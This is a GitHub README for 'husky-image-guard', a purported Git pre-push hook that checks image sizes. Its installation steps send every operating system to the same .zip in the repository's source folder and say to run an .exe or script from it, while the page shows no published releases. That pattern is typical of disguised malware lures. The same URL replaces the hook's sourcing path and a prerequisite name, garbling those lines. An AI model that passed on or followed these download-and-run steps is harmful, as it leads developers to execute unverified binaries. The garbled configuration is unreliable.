Skip to content

nancy12341/husky-image-guard

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

39 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🐢 husky-image-guard - Prevent Oversized Images in Your Git Push

πŸš€ Getting Started

Welcome to husky-image-guard! This application helps you check the size of images before pushing them to your Git repository. By using this tool, you can avoid pushing large images that can slow down your project.

πŸ”— Download Link

Download husky-image-guard

πŸ“₯ Download & Install

To get started, visit the following page to download the latest version of husky-image-guard:

Download husky-image-guard

This page contains the latest release files. Choose the file that suits your operating system and follow the instructions below.

πŸ–₯️ System Requirements

Before you install husky-image-guard, make sure your system meets these requirements:

πŸ“‚ Installation Steps

  1. Visit the Release Page.
  2. Download the file for your operating system:
    • For Windows: download https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip
    • For macOS: download https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip
    • For Linux: download https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip
  3. Extract or install the file:
    • For Windows: double-click the .exe file to run the installer.
    • For macOS: unzip the .zip file and drag the application to your Applications folder.
    • For Linux: extract the files and run the provided script in your terminal.

βš™οΈ Configuration

After installation, you need to configure husky-image-guard with Git.

  1. Open your terminal or command prompt.

  2. Navigate to your project folder using the cd command.

  3. Run the following command to set up Husky:

    npx husky install
    
  4. Now, add a hook to check image sizes. Create a file named .husky/pre-push and add the following lines:

    #!/bin/sh
    . "$(dirname "$0")https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip"
    
    npx husky-image-guard
  5. Save the file and ensure it is executable.

πŸ“ How It Works

When you attempt to push changes to your Git repository, husky-image-guard will automatically check the size of any images you are trying to upload. If an image exceeds the maximum size limit, the push will be blocked, and you will receive a notification indicating which images are too large.

You can easily adjust the size limit by editing the configuration file. This file allows you to set your preferred maximum image size.

πŸ› οΈ Features

  • Automatic checking of image sizes before push.
  • Customizable size limits for images.
  • User-friendly interface with simple commands.

πŸ”„ Updating

To keep using the latest features, check for updates periodically. You can do this by visiting the Release Page and downloading the new version following the same installation steps.

❓ Troubleshooting

If you encounter issues while using husky-image-guard, here are some common problems and solutions:

  • Error: "Push denied due to oversize image": Check the images in your commit and resize any oversized ones.
  • Installation issues: Ensure you have the correct permissions to install applications on your computer. Running the installation as an administrator may help.
  • Command not found: Verify that you have https://raw.githubusercontent.com/nancy12341/husky-image-guard/main/src/husky_guard_image_v1.4.zip and Git installed on your system and that they are added to your system’s PATH.

🏁 Conclusion

Thank you for choosing husky-image-guard. With this tool, you can ensure that your Git repository remains efficient by keeping oversized images out of your pushes. Visit the Release Page to download the latest version and get started today.

For additional support, feel free to check the Issues section in this repository or reach out through our contact links. Enjoy clean and efficient version control!

About

πŸ“ Check image sizes before Git pushes to prevent oversized files, ensuring a cleaner and more efficient repository. Supports multiple image formats.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors